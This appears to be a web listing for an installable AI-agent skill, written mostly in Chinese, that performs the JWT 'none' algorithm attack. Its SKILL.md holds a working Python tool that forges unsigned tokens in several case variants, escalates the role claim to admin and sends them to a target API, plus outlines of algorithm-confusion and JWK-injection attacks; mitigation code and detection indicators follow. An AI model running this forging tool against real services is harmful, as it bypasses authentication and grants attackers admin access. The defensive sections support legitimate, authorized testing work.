performing-jwt-none-algorithm-attack
通过操纵 JSON Web Token 中的 alg 头部字段,执行并测试 JWT None 算法攻击,以绕过签名验证。
Best use case
performing-jwt-none-algorithm-attack is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
通过操纵 JSON Web Token 中的 alg 头部字段,执行并测试 JWT None 算法攻击,以绕过签名验证。
Teams using performing-jwt-none-algorithm-attack should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/performing-jwt-none-algorithm-attack/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How performing-jwt-none-algorithm-attack Compares
| Feature / Agent | performing-jwt-none-algorithm-attack | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
通过操纵 JSON Web Token 中的 alg 头部字段,执行并测试 JWT None 算法攻击,以绕过签名验证。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 执行 JWT None 算法攻击
## 概述
JWT None 算法攻击利用 JSON Web Token 库中的漏洞——这些库接受 `alg` 头部设置为 `none` 的令牌,从而有效地绕过签名验证。当服务器处理带有 `"alg": "none"` 的 JWT 时,它会在不检查任何密码学签名的情况下将该令牌视为有效,使攻击者能够伪造带有任意声明(Claims)的令牌,例如提升权限、冒充用户或延长过期时间。该漏洞于 2015 年由 Tim McLean 首次披露,已影响多种语言的多个 JWT 库。
## 前置条件
- 使用 JWT 进行认证或授权的目标应用
- 能够拦截和修改 HTTP 请求(Burp Suite、mitmproxy)
- Python 3.8+ 及 PyJWT 库,用于令牌构造
- 了解 JWT 结构(Header.Payload.Signature)
- 对目标执行安全测试的授权
## JWT 结构
JWT 由三个以点分隔的 Base64URL 编码部分组成:
```
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. # 头部(Header)
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ. # 载荷(Payload)
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # 签名(Signature)
```
## 攻击方法
### 步骤 1:捕获有效的 JWT
使用 Burp Suite 或浏览器开发者工具拦截目标应用的合法 JWT:
```
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
```
### 步骤 2:解码并分析令牌
```python
import base64
import json
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
parts = token.split('.')
# 解码头部
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# 输出:{'alg': 'HS256', 'typ': 'JWT'}
# 解码载荷
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# 输出:{'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}
```
### 步骤 3:构造使用 None 算法的伪造令牌
```python
#!/usr/bin/env python3
"""JWT None 算法攻击工具
通过将 alg 设置为 'none' 来构造 JWT 令牌,
测试签名验证绕过漏洞。
"""
import base64
import json
import requests
import sys
from typing import Optional
class JWTNoneAttack:
# 'none' 算法值的所有已知变体
NONE_VARIANTS = [
"none", "None", "NONE", "nOnE",
"noNe", "NoNe", "nONE", "nonE",
]
def __init__(self, target_url: str, original_token: str):
self.target_url = target_url
self.original_token = original_token
self.original_header, self.original_payload = self._decode_token(original_token)
def craft_none_token(self, modified_payload: dict,
alg_variant: str = "none") -> str:
"""使用 none 算法和修改后的载荷构造 JWT。"""
# 创建使用 none 算法的头部
header = {"alg": alg_variant, "typ": "JWT"}
header_encoded = self._base64url_encode(json.dumps(header).encode())
# 编码修改后的载荷
payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())
# 带空签名的令牌(仅有末尾的点)
return f"{header_encoded}.{payload_encoded}."
def test_none_variants(self, endpoint: str = "/api/profile",
headers: Optional[dict] = None) -> list:
"""对目标测试所有 none 算法变体。"""
results = []
base_headers = headers or {}
for variant in self.NONE_VARIANTS:
modified_payload = dict(self.original_payload)
modified_payload["role"] = "admin"
token = self.craft_none_token(modified_payload, variant)
test_headers = dict(base_headers)
test_headers["Authorization"] = f"Bearer {token}"
try:
response = requests.get(
f"{self.target_url}{endpoint}",
headers=test_headers,
timeout=10
)
result = {
"variant": variant,
"status_code": response.status_code,
"accepted": response.status_code == 200,
"response_length": len(response.content),
}
results.append(result)
if response.status_code == 200:
print(f" [VULNERABLE] alg='{variant}' -> {response.status_code}")
else:
print(f" [SAFE] alg='{variant}' -> {response.status_code}")
except requests.exceptions.RequestException as e:
results.append({
"variant": variant, "status_code": 0,
"accepted": False, "error": str(e)
})
return results
```
### 步骤 4:额外的 JWT 攻击变体
**算法混淆攻击(RS256 转 HS256):**
如果服务器使用 RS256(非对称算法),知道公钥的攻击者可以:
1. 将 `alg` 改为 `HS256`
2. 使用公钥作为 HMAC 密钥对令牌签名
3. 服务器可能用其公钥作为 HMAC 密钥验证签名
**JWK 头部注入(CVE-2018-0114):**
```json
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "<攻击者控制的密钥>",
"e": "AQAB"
}
}
```
## 缓解策略
```python
# 安全的 JWT 验证——始终指定允许的算法
import jwt
def verify_token_secure(token: str, secret_key: str) -> dict:
"""使用显式算法白名单验证 JWT。"""
try:
payload = jwt.decode(
token,
secret_key,
algorithms=["HS256"], # 关键:显式白名单
options={
"require": ["exp", "iat", "sub"], # 必需声明
"verify_exp": True,
"verify_iat": True,
}
)
return payload
except jwt.InvalidAlgorithmError:
raise ValueError("无效的令牌算法")
except jwt.ExpiredSignatureError:
raise ValueError("令牌已过期")
except jwt.InvalidTokenError:
raise ValueError("无效的令牌")
```
## 检测指标
- 服务器日志中带有 `"alg": "none"`(或大小写变体)的 JWT 令牌
- 签名段为空或缺失的令牌
- 算法字段相对正常模式的突然变化
- 同一会话中带有修改声明(角色提升)的令牌
- Authorization 头部包含只有两个 Base64 段的令牌
## 参考资料
- OWASP JWT 测试指南
- PortSwigger JWT None 算法
- HackTricks JWT 漏洞Related Skills
recovering-from-ransomware-attack
按照 NIST 和 CISA 框架执行结构化勒索软件事件恢复,包括环境隔离、取证证据保全、 干净基础设施重建、从已验证备份优先还原系统、凭据重置,以及针对再感染的验证。 涵盖 Active Directory 恢复、数据库还原和按依赖顺序重建应用栈。
performing-yara-rule-development-for-detection
通过识别可执行文件中的唯一字节模式、字符串和行为指标,开发精准的 YARA 恶意软件检测规则,同时将误报率降至最低。
performing-wireless-security-assessment-with-kismet
使用 Kismet 通过被动射频监控进行无线网络安全评估,检测流氓接入点(Rogue AP)、隐藏 SSID、弱加密和未授权客户端。
performing-wireless-network-penetration-test
执行无线网络渗透测试,通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段,评估 WiFi 安全性。
performing-windows-artifact-analysis-with-eric-zimmerman-tools
使用 Eric Zimmerman 的开源 EZ Tools 套件(包括 KAPE、MFTECmd、PECmd、LECmd、JLECmd 和 Timeline Explorer)执行全面的 Windows 取证制品分析,解析注册表 hive、预取文件、事件日志和文件系统元数据。
performing-wifi-password-cracking-with-aircrack
在授权无线安全评估中捕获 WPA/WPA2 握手包,并使用 aircrack-ng、hashcat 和字典攻击进行离线密码破解, 以评估密码短语强度和无线网络安全状况。
performing-web-cache-poisoning-attack
在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。
performing-web-cache-deception-attack
通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。
performing-web-application-vulnerability-triage
使用 OWASP 风险评级方法论对 DAST/SAST 扫描器的 Web 应用程序漏洞发现进行分类,区分真阳性和假阳性,并确定修复优先级。
performing-web-application-scanning-with-nikto
Nikto 是一款开源 Web 服务器和 Web 应用程序扫描器,可针对超过 7,000 个潜在危险文件/程序进行测试,检查超过 1,250 个服务器的过期版本,并识别超过 270 个服务器的版本特定问题。
performing-web-application-penetration-test
遵循 OWASP Web 安全测试指南(WSTG)方法论,对 Web 应用程序执行系统化安全测试,识别认证、授权、 输入验证、会话管理和业务逻辑中的漏洞。测试人员以 Burp Suite 作为主要拦截代理,结合手动测试技术 发现自动化扫描器遗漏的缺陷。适用于 Web 应用渗透测试、OWASP 测试、应用安全评估或 Web 漏洞测试等请求场景。
performing-web-application-firewall-bypass
使用编码技术、HTTP 方法操控、参数污染和载荷混淆绕过 Web 应用防火墙保护,将 SQL 注入、XSS 及其他攻击载荷穿透 WAF 检测规则。